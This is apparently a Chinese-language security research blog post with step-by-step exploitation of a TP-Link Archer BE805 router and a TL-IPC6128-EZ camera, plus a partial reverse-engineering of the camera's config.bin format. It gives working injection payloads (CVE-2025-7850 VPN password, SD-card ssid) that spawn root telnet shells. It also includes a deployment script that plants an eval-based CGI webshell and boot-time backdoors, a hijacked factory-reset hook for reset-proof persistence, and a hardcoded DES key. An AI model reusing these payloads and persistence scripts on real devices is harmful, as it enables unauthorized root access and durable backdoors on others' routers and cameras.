TP-Link Archer BE805:管理頁面注入到持久化 Root SSH

利用內建 VPN 憑證注入漏洞(CVE-2025-7850)取得 root shell,在不修改韌體的前提下,透過 UCI 防火牆 include 機制實現跨重啟的 SSH 持久化。本文記錄完整的探索過程與踩坑經驗。


一、目標設備

TP-Link Archer BE805 是一部 Wi-Fi 7(BE11000)三頻路由器,採用 MediaTek MT7988AV(Filogic 880)處理器。系統基於 OpenWrt 深度改造而成,但 TP-Link 進行了大量客製化,包括加密的 Web API、自訂的 dropbear SSH 以及獨有的配置持久化機制。

項目規格
SoCMediaTek MT7988AV (Filogic 880), aarch64
核心Linux 5.4.213
C 庫musl libc
BusyBoxv1.19.4
根檔案系統squashfs(唯讀)+ ramfs 覆蓋層
持久儲存UBIFS /tp_data(約 3.5MB 可用)
韌體版本1.2.2 Build 20250424 rel.45837

二、韌體偵察

使用 binwalk 解壓韌體,取得 squashfs 根目錄。以下是幾項關鍵發現。

掛載結構

這部路由器的檔案系統設計是理解整個攻擊面的關鍵:

# 唯讀:任何修改都不會生效
/dev/root on / type squashfs (ro,noatime)

# 可寫但揮發:重啟即失
none on /etc type ramfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)

# 持久可寫:重啟後仍在
ubi1:tp_data on /tp_data type ubifs (rw,relatime,sync)

換言之,/etc 中的所有內容——包括 rc.local、init 腳本、crontab——每次開機都會從 squashfs 重新生成。唯一能夠長期保留自訂檔案的位置是 /tp_data

TP-Link 客製化 dropbear

設備自帶的 SSH 伺服器是 dropbear 2019.78 的深度改造版本,與標準版本存在兩個關鍵差異:

  • -C 旗標:啟用「Web Server account login」模式,使用 Web 密碼 hash 驗證,而非標準的 /etc/shadow 機制
  • -L 旗標:啟用 SSH session login——但在 init 腳本中被註釋掉了

也就是說,即使 SSH daemon 正在運行,認證成功後也會收到 exec request failed on channel 0——因為缺少 -L 旗標,daemon 拒絕開啟 shell session。

配置持久化流程

開機時的配置還原流程如下:

開機 → squashfs 載入 → /etc ramfs 初始化 → /tp_data 掛載 → loadconfig 還原 UCI → init.d 啟動 → rc.local

loadconfig 是一個 Lua 腳本,調用 luci.sys.config.reloadconfig(),從加密的 user-config 二進制檔案讀取 UCI 配置寫入 /etc/config/saveconfig 則進行反向操作。關鍵在於:它只處理 UCI 配置,不會涉及 rc.local、crontab 或任何 UCI 以外的檔案。

三、漏洞利用:Surfshark VPN 憑證注入

CVE-2025-7850 的核心是 Surfshark VPN 登入處理中的命令注入漏洞。路由器的 Lua 後端在處理 VPN 憑證登入時,將用戶提交的密碼直接拼接進 curl 命令:

-- 虛擬碼,實際為編譯過的 Lua bytecode
cmd = string.format(
  "%s -w '\\n%%{http_code}' -m 5 --location "
  "'https://api.surfshark.com/v1/auth/login' "
  "--data '{\"identifier\":\"%s\",\"password\":\"%s\"}'",
  curl_path, username, password  -- password 未經過濾!
)
os.execute(cmd)

此處的 password 直接進入 shell 命令,未做任何 sanitization。攻擊者可以透過單引號截斷原有命令,注入任意指令。

注入載荷

路由器模式(完整載荷):

';/usr/sbin/telnetd -l /bin/sh -p 3922 -b 0.0.0.0; iptables -I INPUT -p tcp --dport 3922 -j ACCEPT; echo '

AP 模式(縮短載荷,繞過長度驗證):

';telnetd -l /bin/sh -p 3922;'

AP 模式注意事項:AP 模式下 VPN 端點存在密碼長度限制。完整載荷(約 97 字元)會觸發 invalid parameter 錯誤,縮短至約 30 字元即可通過驗證。AP 模式下防火牆默認 INPUT 策略為 ACCEPT,因此無需添加 iptables 規則。

注入成功後,一個綁定在 port 3922 的 root telnet shell 即時開啟。

四、Web API 加密協議

要觸發上述漏洞,首先需要通過 TP-Link 的 Web API 加密機制。整個通訊流程涉及 AES-128-CBC 與 RSA 混合加密。

認證流程

# 1. 取得密碼加密用的 RSA 公鑰
POST /login?form=keys    data=operation=read
→ {"data": {"password": [n_hex, e_hex]}}

# 2. 取得 session RSA 公鑰與序列號
POST /login?form=auth    data=operation=read
→ {"data": {"key": [session_n, session_e], "seq": 12345}}

# 3. 登入請求
# 內文使用自行生成的 AES key/iv 加密
# 簽名格式:k=<aes_key>&i=<aes_iv>&h=<md5_hash>&s=<seq+data_len>
# 簽名使用 session RSA 加密
hash = MD5("admin" + password)

# 4. 後續請求
# 簽名簡化為:h=<md5_hash>&s=<seq+data_len>
# 其中 seq 始終使用最初的 pre-login seq

seq 計算陷阱:每次請求的 s 值 = 原始 pre-login seq + 當前 AES 加密後數據的長度。這不是遞增序列號。許多嘗試失敗的原因就在於計算錯誤。此外,登入後絕不可重新抓取 auth 資料——否則會導致 session 失效。

五、建立標準 SSH 服務

取得 root telnet shell 後,下一步是建立正常的 SSH 服務。使用 TP-Link 自帶的 dropbear 行不通:

  • 密碼驗證邏輯已被修改,不使用 /etc/shadowcrypt()
  • -L 旗標被註釋,無法開啟 shell session
  • 即使加上 -L,密碼驗證依然無法正常運作

解決方案:安裝標準 dropbear

從 OpenWrt 官方倉庫下載同平台(aarch64_cortex-a53)的標準 dropbear v2022.82:

# 下載 ipk 包(只能使用 HTTP,路由器不信任 SSL 證書)
$ curl -o /tmp/db.ipk http://downloads.openwrt.org/releases/23.05.5/\
  targets/mediatek/filogic/packages/dropbear_2022.82-6_aarch64_cortex-a53.ipk

# 解壓並保存到持久儲存
$ cd /tmp && tar xzf db.ipk && tar xzf data.tar.gz
$ cp usr/sbin/dropbear /tp_data/dropbear_std
$ chmod +x /tp_data/dropbear_std

Multi-call binary 的陷阱

標準 dropbear 是一個 multi-call binary(dropbearmulti),與 BusyBox 類似,根據 argv[0](程式名稱)決定執行哪個功能。直接使用原始檔名運行只會顯示幫助信息:

$ /tp_data/dropbear_std -p 22 -R
Dropbear SSH multi-purpose v2022.82
Make a symlink pointing at this binary with one of the following names:
'dropbear' - the Dropbear server

需要建立一個名為 dropbear 的 symlink。值得注意的是,/tmp 掛載時帶有 nosuid,nodev 旗標,在某些情況下可能阻止執行。穩妥的做法是將 symlink 建立在 /tp_data/ 上:

$ ln -sf /tp_data/dropbear_std /tp_data/dropbear
$ /tp_data/dropbear -p 22 -R -B
# 成功啟動

設定 root 密碼

由於 /etc 是 ramfs,每次開機密碼都會重置。標準 dropbear 使用 musl 的 crypt() 函數驗證 /etc/shadow,因此需要使用 passwd 指令設定密碼:

$ sed -i 's|^root:.*|root:x:0:0:root:/root:/bin/ash|' /etc/passwd
$ echo -e 'mypassword\nmypassword' | passwd root
Password for root changed by root

六、持久化:防火牆 Include 機制

這是整個項目最棘手的部分。所有 SSH 相關的設定(密碼、dropbear 進程、防火牆規則)都位於揮發性的 ramfs 上,重啟即歸零。

失敗的嘗試

方法結果原因
修改 rc.local失敗/etc 是 ramfs,重啟後重建
saveconfig 保存 rc.local失敗只保存 UCI 配置,不處理其他檔案
UCI cron 配置失敗不存在 UCI cron 配置
修改 squashfs未嘗試風險過高,可能導致變磚
OpenVPN script hook失敗相關選項已被註釋

突破口:防火牆 Include

在遍歷所有 UCI 配置後,發現防火牆的 config include 機制是唯一可以透過 UCI 觸發任意腳本執行的途徑。

OpenWrt 的防火牆框架在啟動時,會遍歷所有 config include 條目,source 對應的腳本:

# /lib/firewall/core_init.sh
fw_load_include() {
    local name="$1"
    local path
    config_get path ${name} path
    [ -e $path ] && (
        . $path   # 直接 source 腳本
    )
}

# /lib/firewall/core.sh 中調用:
config_foreach fw_load_include include

思路便十分清晰:

  1. /tp_data/ 建立觸發腳本(持久儲存)
  2. 透過 UCI 添加一個 config include 條目指向該腳本
  3. 使用 saveconfig 將 UCI 變更寫入 flash
  4. 開機時防火牆 init 會自動 source 該腳本

實作細節

觸發腳本/tp_data/fw_ssh.sh):

#!/bin/sh
# 使用 lock file 防止防火牆 reload 時重複觸發
[ -f /tmp/.ssh_setup_pending ] && return 0
touch /tmp/.ssh_setup_pending
(
    sleep 10
    [ -x /tp_data/ssh_setup.sh ] && /tp_data/ssh_setup.sh
    rm -f /tmp/.ssh_setup_pending
) &

延遲 10 秒再執行,以確保 init 流程(特別是 dropbear)已經完成。防火牆的 START=45 先於 dropbear 的 START=50,若直接執行會與自帶 dropbear 產生衝突。

SSH 設定腳本/tp_data/ssh_setup.sh):

#!/bin/sh
SSH_PORT=22
DBSTD=/tp_data/dropbear_std
DBLINK=/tp_data/dropbear

sleep 5
ln -sf $DBSTD $DBLINK                              # multi-call symlink
sed -i 's|^root:.*|root:x:0:0:root:/root:/bin/ash|' /etc/passwd
echo -e 'mypassword\nmypassword' | passwd root >/dev/null 2>&1
mkdir -p /tmp/root_home
mount --bind /tmp/root_home /root 2>/dev/null       # /root 在 squashfs 上,需要覆蓋
mkdir -p /root/.ssh; chmod 700 /root/.ssh
[ -f /tp_data/authorized_keys ] && \
  cp /tp_data/authorized_keys /root/.ssh/authorized_keys
mkdir -p /etc/dropbear
# 只終止 port 22 上的 dropbear,保留其他端口的實例
for pid in $(ps w | grep "[d]ropbear" | grep " -p $SSH_PORT " \
  | awk '{print $1}'); do kill $pid 2>/dev/null; done
sleep 1
$DBLINK -p $SSH_PORT -R -B
iptables -C INPUT -p tcp --dport $SSH_PORT -j ACCEPT 2>/dev/null || \
  iptables -I INPUT -p tcp --dport $SSH_PORT -j ACCEPT

添加 UCI 條目並保存:

$ uci set firewall.ssh_setup=include
$ uci set firewall.ssh_setup.path=/tp_data/fw_ssh.sh
$ uci set firewall.ssh_setup.reload=1
$ uci commit firewall
$ lua -e 'require("luci.sys.config").saveconfig()'

七、AP 模式的陷阱

原以為大功告成,重啟後卻發現 SSH 完全無法連接。經調查後發現一個關鍵事實:

TP-Link 雙配置機制:路由器模式與 AP 模式使用完全獨立的 UCI 配置集saveconfig 只保存當前模式的配置。在路由器模式下添加的 firewall.ssh_setup 條目,切換到 AP 模式後完全不存在。

兩種模式的差異不止於此:

項目路由器模式AP 模式
IP 地址192.168.0.1(固定)由上游 DHCP 分配
防火牆 INPUTDROP(嚴格)ACCEPT(放通)
dropbear 端口2220001
VPN 功能完整可用密碼長度受限
exploit 載荷完整版(~97 字元)縮短版(~30 字元)
用戶列表root, adminroot, admin, sftpadmin, guest, visit

解決方案很直接:在兩種模式下都分別運行一次 UCI 添加與 saveconfig。由於防火牆 init 在 AP 模式下同樣會執行(從 iptables 規則可以確認),include 機制在兩種模式下都能正常觸發。

八、最終方案架構

持久化檔案全部存放在 /tp_data/(UBIFS flash,跨重啟保留):

/tp_data/
├── dropbear_std      # 標準 dropbear v2022.82 (263KB)
├── dropbear          # → dropbear_std 的 symlink
├── fw_ssh.sh         # 防火牆 include 觸發腳本
├── ssh_setup.sh      # SSH 完整設定腳本
└── authorized_keys   # SSH 公鑰(可選)

UCI 配置(持久化於加密 user-config):

firewall.ssh_setup=include
firewall.ssh_setup.path=/tp_data/fw_ssh.sh
firewall.ssh_setup.reload=1

開機時序

squashfs 載入 → /etc ramfs 初始化 → /tp_data 掛載 → loadconfig 還原 UCI
→ 防火牆 init (START=45) → fw_ssh.sh fork 後台任務
→ dropbear init (START=50) → ~10 秒後 ssh_setup.sh 執行 → SSH 就緒

最終效果:重啟後約 15 秒,標準 SSH 自動運行在 port 22。支持 root 密碼登入與公鑰認證。路由器模式與 AP 模式均可使用。無需修改韌體 squashfs,無 brick 風險。

九、攻擊鏈時序

Phase 1: 初始存取
┌─────────────────────────────────────┐
│  Web API Login (AES+RSA)                    │
│  ↓                                          │
│  Surfshark VPN 憑證注入 (CVE-2025-7850)     │
│  ↓                                          │
│  telnetd root shell (port 3922)             │
└─────────────────────────────────────┘

Phase 2: 能力提升
┌─────────────────────────────────────┐
│  下載標準 dropbear → /tp_data/              │
│  ↓                                          │
│  設定 root 密碼                             │
│  ↓                                          │
│  啟動 SSH (port 22)                         │
└─────────────────────────────────────┘

Phase 3: 持久化
┌─────────────────────────────────────┐
│  建立 fw_ssh.sh + ssh_setup.sh              │
│  ↓                                          │
│  UCI firewall include 條目                  │
│  ↓                                          │
│  saveconfig → 加密 user-config              │
│  ↓                                          │
│  在路由器模式與 AP 模式各保存一次           │
└─────────────────────────────────────┘

總結

本次研究的核心發現有三項:

  1. VPN 功能成為攻擊面——第三方 VPN 服務(Surfshark、NordVPN)的憑證處理代碼,因為將字串直接拼接進 shell 命令而產生注入漏洞。此類錯誤在嵌入式設備中依然常見。
  2. 「半 OpenWrt」比純 OpenWrt 更難對付——TP-Link 保留了 UCI 框架但大幅客製化了配置持久化、SSH 驗證與服務管理。熟悉 OpenWrt 不等於能夠直接應用既有經驗,每個機制都需要重新探索。
  3. 操作模式切換等於配置隔離——路由器模式與 AP 模式使用獨立的配置集,這一設計在持久化場景下是一個極易忽略的陷阱。

防火牆 include 機制之所以成為最終的持久化方案,是因為它同時滿足兩個條件:透過 UCI 管理(可以被 saveconfig 持久化)以及可以執行任意腳本。在這部路由器上,這是唯一同時滿足這兩個條件的機制。


本文僅供安全研究與教育用途。所有測試均在自有設備上進行。請遵守當地法律法規。

TP-Link IPC6128-EZ:从 config.bin 到持久化 Root Shell

本文记录了对 TP-Link TL-IPC6128-EZ 网络摄像头的完整安全研究过程:通过构造特殊的 config.bin 进入工厂测试模式,利用 PERF_TEST 模块的命令注入漏洞获取 shell,并通过 overlayfs hook 实现跨恢复出厂的持久化。

目标设备

  • 型号: TP-Link TL-IPC6128-EZ
  • SoC: ARM 32-bit, EABI5
  • 系统: Linux 4.19.91, uClibc 1.0.31
  • 文件系统: SquashFS rootfs(只读)+ UBIFS overlay(可写,持久化)
  • 核心进程: /bin/main 包含所有业务逻辑

0x01 固件分析

MTD 分区布局

mtd0: 2MB    factory_boot    引导加载器
mtd1: 2.5MB  factory_info    设备信息(MAC、硬件版本等)
mtd2: 1.5MB  art             应用配置(radio calibration)
mtd3: 2MB    config          设备配置(UBI 格式)
mtd4: 1MB    normal_boot     正常启动引导
mtd5: 6MB    kernel          Linux 内核
mtd6: 32MB   rootfs          SquashFS 根文件系统
mtd7: 80MB   rootfs_data     UBIFS overlay 数据
mtd8: 1MB    tp_header       TP-Link 固件头
mtd9-12: 128MB×4             AI 模型数据(人脸/人形/车牌检测等)

文件系统架构

设备使用经典的 OpenWrt overlayfs 方案:

/(overlayfs)
├── lowerdir = SquashFS rootfs(只读)
└── upperdir = /overlay/upper(UBIFS,可写)
    └── workdir = /overlay/work

/overlay/upper/ 中的文件会覆盖 rootfs 中的同名文件。这是持久化的关键。

启动流程

preinit → mount_root(挂载 UBIFS → fopivot 创建 overlayfs)
       → /sbin/init
       → /etc/init.d/rcS
           → S05boot
           → S10sysinit
           → S15monitor
           → S20main(启动 /bin/main)
           → S98*(自定义脚本在这里执行)

0x02 攻击面分析

SD 卡事件处理

/bin/main 监听 SD 卡插入事件,有三条处理路径:

路径函数触发条件守卫条件
PERF_TESTsd_onboarding_cbSD 卡插入 + factory_test_mode=1检查 factory_test_mode(非 “main already start”)
PLUGIN_MANAGEsd_plugin_ready_cbSD 卡有 plugin 文件“main already start” 全局标志
UPGRADEsd_upgrade_res_cbSD 卡有固件文件“main already start” 全局标志

PLUGIN_MANAGE 和 UPGRADE 都被 “main already start” 全局标志阻塞,main 启动后这个标志就被置位,无法绕过。

唯一可用的路径是 PERF_TEST,它检查的是 factory_test_mode 而非 “main already start”。

PERF_TEST 命令注入

sd_onboarding_cb(位于 0x22c744)的处理流程:

1. 检查 factory_test_mode == 1(从 /factory_info/factory_test_mode 读取)
2. 读取 SD 卡上的 config.txt
3. 解析 JSON 提取 ssid 和 password
4. url_decode(ssid) → snprintf(cmd, "... '%s' ...", ssid) → system(cmd)

关键反汇编(0x22c744 附近):

asm

; 读取 config.txt 中的 ssid
bl    url_decode          ; URL 解码 ssid
bl    snprintf            ; 格式化到命令字符串
                          ; cmd = "ubus call onboarding connect '{\"ssid\":\"<ssid>\", ...}'"
bl    system              ; 执行命令!

日志字符串 [PERF_TEST]cmd is %s 确认了 system() 调用的存在。

漏洞: ssid 字段经过 url_decode 后直接拼接到 shell 命令中,没有任何过滤或转义。通过在 ssid 中注入 shell 元字符,可以执行任意命令。

0x03 进入工厂测试模式

config.bin 格式

设备的配置文件 config.bin 使用 DES-CBC 加密:

  • 算法: DES-CBC
  • 密钥: D30474E282B5A282(从二进制中提取)
  • IV: 全零
  • 内部格式: 自定义二进制容器,包含多个配置节点,每个节点是压缩的 JSON

构造 factory_test_mode config.bin

流程:

# 1. 从 Web UI 下载当前配置备份
#    浏览器打开 http://<摄像头IP> → 系统设置 → 备份配置

# 2. 修改配置,启用 factory_test_mode
python3 build_config_bin.py set config_backup.bin config_ftm.bin \
    --kv 'factory_info.factory_test_mode.factory_test_mode.enabled=1'

# 3. 通过 Web UI 上传修改后的 config_ftm.bin
#    系统设置 → 恢复配置 → 选择 config_ftm.bin

上传后设备重启,进入工厂测试模式。此时:

  • 所有模块进入工厂状态
  • OSD 不显示
  • LED 闪红灯
  • PERF_TEST 路径被激活

建议使用从同一台设备当前状态导出的备份作为基础。使用其他设备或旧版本的配置可能导致设备无响应。

0x04 命令注入获取 Shell

准备 SD 卡

SD 卡根目录需要三个文件:

/sdcard/
├── config.txt          # 命令注入 payload
├── busybox_arm32       # 静态编译的 busybox(ARM32)
└── s.sh                # 部署脚本

config.txt —— 注入 payload

{
  "ssid": "x';sh /tmp/sdcard/s.sh;echo '",
  "password": "x"
}

sd_onboarding_cb 处理这个 ssid 时,实际执行的命令变成:

ubus call onboarding connect '{"ssid":"x';sh /tmp/sdcard/s.sh;echo '", "password":"x"}'

分解一下:

  1. ubus call onboarding connect '{"ssid":"x' — ubus 命令,ssid 部分被截断
  2. ;sh /tmp/sdcard/s.sh;注入的命令
  3. echo '", "password":"x"}' — 消化剩余字符串,避免语法错误

绕过”保护环境”

设备的 /bin/ash 有命令白名单,大部分命令会返回 "cmd not supported under protected environment"。绕过方法:

# 用 busybox_full 创建一个不受限制的 ash
BB="/overlay/upper/bin/busybox_full"
ln -sf "$BB" /tmp/ash

# 在不受限制的 ash 上启动 telnetd
"$BB" telnetd -l /tmp/ash -p 4445 -b 0.0.0.0

端口 4445 上的 telnet 会话使用 busybox 自带的 ash,不受保护环境限制。

0x05 部署脚本详解

s.sh 是 PERF_TEST 注入后自动执行的核心脚本,完成以下任务:

Phase 1: 部署 Shell 到 Overlay

# Busybox
mkdir -p /overlay/upper/bin
cp /tmp/sdcard/busybox_arm32 /overlay/upper/bin/busybox_full
chmod 755 /overlay/upper/bin/busybox_full

# CGI Webshell(通过 HTTP 执行命令)
mkdir -p /overlay/upper/www/cgi-bin
cat > /overlay/upper/www/cgi-bin/sh << 'CGI'
#!/bin/ash
echo "Content-Type: text/plain"; echo ""
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p')
# ... URL 解码 + eval 执行 ...
CGI

# 开机自启脚本(S98remote)
cat > /overlay/upper/etc/init.d/remote << 'INIT'
#!/bin/ash /etc/rc.common
START=98
start() {
    BB="/overlay/upper/bin/busybox_full"
    ln -sf "$BB" /tmp/ash
    "$BB" telnetd -l /tmp/ash -p 4445 -b 0.0.0.0
    "$BB" httpd -p 8888 -h /overlay/upper/www
}
INIT
ln -sf ../init.d/remote /overlay/upper/etc/rc.d/S98remote

写入 /overlay/upper/ 的文件通过 overlayfs 覆盖 rootfs,重启后依然存在。

Phase 2: 连接 Wi-Fi

工厂模式下 Wi-Fi 驱动已加载(PERF_TEST 本身就需要测试 Wi-Fi),但注入破坏了原始的 onboarding 命令。脚本用正确的凭据重新连接:

ubus call onboarding connect '{"ssid":"OOXX", "password":"12345678"}'

Phase 3: 启动服务

BB="/overlay/upper/bin/busybox_full"
ln -sf "$BB" /tmp/ash
"$BB" telnetd -l /tmp/ash -p 4445 -b 0.0.0.0   # 无限制 shell
"$BB" httpd -p 8888 -h /overlay/upper/www         # webshell

部署完成后,连接:

telnet <摄像头IP> 4445
# 或浏览器访问 http://<摄像头IP>:8888/cgi-bin/sh?cmd=id

0x06 持久化:自愈 Hook

问题

Shell 部署在 /overlay/upper/ 中,正常重启时会保留。但恢复出厂设置会清空 /overlay/upper/

# /hooks/post_reset_hook.sh(rootfs 中的原始版本)
#!/bin/sh
if [ -d "/overlay" ]; then
    cd /overlay
    rm -rf `ls | grep -v "plugins"`
fi

注意:plugins/ 目录被保留(grep -v "plugins"),因为里面存放 AI 模型文件。

解决方案:Hook 劫持

通过 overlayfs 覆盖 post_reset_hook.sh,让恢复出厂设置时自动恢复 shell 文件。

关键前提验证(通过反汇编确认):

/bin/main0x23a418 处调用 hook:

0x23a418:  push  {r4, lr}
0x23a41c:  bl    0x23a318          ; config_recovery(重置配置)
0x23a420:  cmn   r0, #1
0x23a424:  popeq {r4, pc}          ; 不需要重置则返回
0x23a42c:  ldr   r0, "/hooks/post_reset_hook.sh"
0x23a430:  bl    access@plt        ; 检查文件是否存在
0x23a440:  bl    system@plt        ; 执行 hook
0x23a448:  b     reboot@plt        ; 重启

关键事实:

  1. Hook 由 main运行时调用,此时 overlayfs 已挂载
  2. system("/hooks/post_reset_hook.sh") 通过 overlayfs 解析路径
  3. 我们在 /overlay/upper/hooks/ 的文件会优先于 rootfs 中的原版
  4. Hook 执行完毕后才调用 reboot()

实现

Step 1: 备份到 plugins/(恢复出厂不删除)

mkdir -p /overlay/plugins/shell_backup/restore/{bin,etc/init.d,www/cgi-bin,hooks}

cp /overlay/upper/bin/busybox_full      /overlay/plugins/shell_backup/restore/bin/
cp /overlay/upper/etc/init.d/remote     /overlay/plugins/shell_backup/restore/etc/init.d/
cp /overlay/upper/www/cgi-bin/sh        /overlay/plugins/shell_backup/restore/www/cgi-bin/

# 权限恢复脚本
cat > /overlay/plugins/shell_backup/restore/fix_links.sh << 'EOF'
#!/bin/ash
mkdir -p /overlay/upper/etc/rc.d
ln -sf ../init.d/remote /overlay/upper/etc/rc.d/S98remote
chmod 755 /overlay/upper/bin/busybox_full
chmod 755 /overlay/upper/etc/init.d/remote
chmod 755 /overlay/upper/www/cgi-bin/sh
EOF

Step 2: 覆盖 post_reset_hook.sh

mkdir -p /overlay/upper/hooks
cat > /overlay/upper/hooks/post_reset_hook.sh << 'HOOK'
#!/bin/sh
RESTORE_SRC="/overlay/plugins/shell_backup/restore"

if [ -d "/overlay" ]; then
    cd /overlay

    # 原始行为:删除除 plugins/ 以外的一切
    rm -rf $(ls | grep -v "plugins")

    # 自愈:从 plugins/ 恢复 shell
    if [ -d "$RESTORE_SRC" ]; then
        mkdir -p /overlay/upper
        cp -r ${RESTORE_SRC}/bin /overlay/upper/
        cp -r ${RESTORE_SRC}/etc /overlay/upper/
        cp -r ${RESTORE_SRC}/www /overlay/upper/
        cp -r ${RESTORE_SRC}/hooks /overlay/upper/
        sh ${RESTORE_SRC}/fix_links.sh 2>/dev/null
        mkdir -p /overlay/work/work
    fi
fi
HOOK
chmod 755 /overlay/upper/hooks/post_reset_hook.sh

工作流程

用户按 Reset 按钮
    ↓
main 检测到 GPIO 事件
    ↓
config_recovery() — 重置所有配置(factory_test_mode → 0)
    ↓
system("/hooks/post_reset_hook.sh") — 执行我们的版本!
    ↓
rm -rf upper/ work/     — 清理(hook 自身也被删除,但已在内存中)
    ↓
cp -r plugins/restore/* → upper/  — 恢复 shell 文件
    ↓
reboot()
    ↓
设备启动:正常模式 + shell

Hook 自身也被复制回 upper/hooks/,因此后续的恢复出厂设置也会自愈——无限循环持久化

0x07 完整攻击流程总结

┌───────────────────────────┐
│  1. 从 Web UI 下载 config.bin 备份                   │
│  2. 修改 factory_test_mode.enabled = 1               │
│  3. 上传修改后的 config.bin → 设备进入工厂模式      │
├───────────────────────────┤
│  4. 准备 SD 卡:config.txt + busybox + s.sh          │
│  5. 插入 SD 卡 → PERF_TEST 触发命令注入             │
│  6. s.sh 自动部署 shell + 安装自愈 hook              │
├───────────────────────────┤
│  7. 按 Reset 按钮恢复出厂                            │
│  8. 自愈 hook 自动恢复 shell                         │
│  9. 设备回到正常模式,shell 完好                     │
│ 10. 重新配对摄像头,完成                             │
└───────────────────────────┘

0x08 踩坑记录

ubus 在工厂模式下为空

工厂模式下 main 的所有模块进入工厂状态,ubus 服务注册被跳过。因此无法通过 ubus 命令退出工厂模式。

factory_test_mode 存储位置

factory_test_mode 通过 /dev/slp_flash_chrdev(专有内核驱动,ioctl 接口)存储,不在标准 MTD/UBI 设备中。无法通过 dd 或 mount 直接修改。只有 config_recovery(恢复出厂)能将其重置为 0。

0x09 POC

拆解 TP-Link 监控摄像头设置备份文件 config.bin 的格式

因为各种原因,手上有一个中国大陆版的 TL-IPC6128-EZ,tplink为了不让用戶將它拿去其他国家用,可谓是下了真功夫。

其中最坑的就是OSD的水印时间是写死的中国大陆时区CST-8。

除了手动设定时间、搭建一个做过手脚的ntp伺服器以外,我选择看看机器备份档config.bin是否包含时区信息,于是有了这篇文章。(剧透:有时区信息,但是改了也没用)

整个过程踩了不少坑,记录下来。

1. 整体结构

config.bin
├─ [0x00:0x10] MD5(ciphertext)               ← 唯一的明文头
└─ [0x10:EOF ] DES-CBC( 外层明文 )           ← 单 DES,key 来自设备encrypt_key,IV=0
     ├─ 0x000 TP_HEAD(0x18) + vendor_id/zone_code + 长度字段
     ├─ 0x200 顶层 NVMP-CONFIG 容器:magic + product_id + datalen
                config_file_head:
                +0x00  "NVMP-CONFIG\0" // 12 字节 magic
                +0x10  product_id  u32 BE // product_id
                +0x14  datalen     u32 BE // 其后所有节点字节数
     └─ 0x218 配置节点(node)
          ├─ +0x10 count(LE)  // JSON 条目数
          ├─ +0x14 clen(LE)   // zlib 压缩流长度
          ├─ +0x18 ulen(LE)   // 解压后长度
          └─ +0x1c body = DES-CBC( zlib( item0\0 item1\0 … ) ) // 内层再一层 DES + zlib

外层与内层各有一层 DES(同 key、同 IV=0),内层 DES 之内再套 zlib,zlib 之内是一串 NUL 分隔的 JSON 配置表。加密为单 DES,非 AES

key不知道是不是统一的,我这个型号的key是:D30474E282B5A282

2. 加密:单 DES

/bin/main 内含 AES_cbc_Decrypt_no_paddingAES256-CBC 等符号,但与 config.bin 无关:AES_cbc_Decrypt_no_padding0x2f339c)全程序仅一个调用者,其上下文皆为 password、socket、RTSP 字符串,猜测是tplink云平台相关的东西。

config.bin 的解密路径为 uc_post_handle → 0x32b548 → 0x32b26c

0x32b26c:
  读取 /tmp/base-files/etc/encrypt_key
  这是一个16 个十六进制字符,比如我手上这台是D30474E282B5A282
  hex_str_to_bytes(dst, key_str, 8)      → 转换成 8 字节 DES 密钥
  密钥核心 0x30137c / 0x3013dc:
       bic r3, r3, #7      ; 长度向下取整到 8 的倍数
       … 每轮步进 #8 …      ; 8 字节一组分组

同一把 key、同一个 IV=0 同时用于外层文件内层节点 body 两处 DES。加解密为同一函数 0x32b26cmode 参数:0x32b540(mode=0) 为加密、0x32b548(mode=1) 为解密。

3. 外层明文布局

偏移相对明文起点(= 文件偏移 − 0x10):

+0x000  TP_HEAD (0x18)
          +0x00  00 00 01 00
          +0x04  20 字节签名            ← 和设备 /tp_header 比对
+0x020  vendor_id   u16 LE
+0x022  zone_code   u16 LE
+0x040  len_head    u32 BE
+0x044  len_data    u32 BE              ← 校验:filelen ≥ len_head + len_data
+0x200  config_file_head:
          +0x00  "NVMP-CONFIG\0"        12 字节 magic
          +0x10  product_id  u32 BE     (= 设备 product_id)
          +0x14  datalen     u32 BE     (其后所有节点字节数)
+0x218  第一个配置节点

除开头 16 字节的 MD5 外,所有字段(含 product_id、TP_HEAD 签名)皆位于 DES 解密后的明文内,文件表面不可见。实测本机 product_id = 61281 (0xEF61)vendor_id = 0zone_code = 0

4. 内层:NVMP 配置节点

逆向自 parse_config (0x32c514),并以真机数据交叉验证。

4.1 节点头(28 字节,0x218 起)

+0x00  "NVMP-CONFIG\0"          12 字节
+0x0c  flag                      通常 00 00 00 01 (BE 1)
+0x10  count   u32 LE            JSON 条目数     (实测 165)
+0x14  clen    u32 LE            zlib 压缩流长度 (实测 9583,未补齐)
+0x18  ulen    u32 LE            解压后字节数    (实测 120431)
+0x1c  body

注意端序:节点头的 count/clen/ulen小端,而顶层容器的 product_id/datalen大端,同文件混用Orz。

4.2 body 的三层解码

body(磁盘上,补齐到 8 字节)
  ── DES-CBC 解密 // 以 78 DA 开头的 zlib 流
  ── zlib 解压    // 120431 字节明文
  ── 按 \0 切分   // 165 段紧凑 JSON

每段为一张配置表,例如:

{"system":{"system":{"sys":{"dev_alias":"%e9%81%93%e8%b7%afA","timezone":"CST-8"}}}}
{"image":{"para":{"common":{"luma":"50","contrast":"50"}}}}

特征:值几乎皆为字符串(含数字、布尔);中文等经 URL 百分号编码;顶层键可重复(多条 systemimage),须以保序列表处理,不可合并为单一字典;count 等于条目数,切分时丢弃尾部空段。

这里出现了时区,但是实测修改这个值并没有任何卵用,OSD时间不遵循这个时区设定,tplink 煞笔。

4.3 写回时的长度字段重算

comp       = zlib(blob, level=9)
clen       = len(comp)          # 未补齐
body       = DES(comp 补齐到 8)
datalen    = 28 + len(body)     # 顶层容器,大端
ulen       = len(blob)
count      = len(items)
外层       = 头部[:0x218] + 节点;补齐 8 字节,重算 len_head/len_data,外层 DES + MD5

5. 服务端校验:uc_post_handle

HTTP 路由 /admin/system/upload_conf 对应处理函数 0x210420。逆向之后得到校验顺序:

context 非空 
↓
MD5(file[16:]) == file[0:16]↓
DES-CBC 解密成功 
↓
总长 ≥ BE32(@0x40) + BE32(@0x44)↓
明文长度 > 0x200(config_file_head 有效) 
↓
BE32(@0x210) == 设备 product_id↓
TP_HEAD[0x04:0x18] 匹配 && vendor_id 匹配 && zone_code 匹配 
↓
parse_config 成功

全数通过后进入成功分支(0x210634 → msg_send(0x5014))应用配置。

负责落盘的函数(~0x291f80)实际调用:

  • fopen/fwrite → 写 /tmp/base-files/etc/hardware.config(及 /tmp/hardware.config)
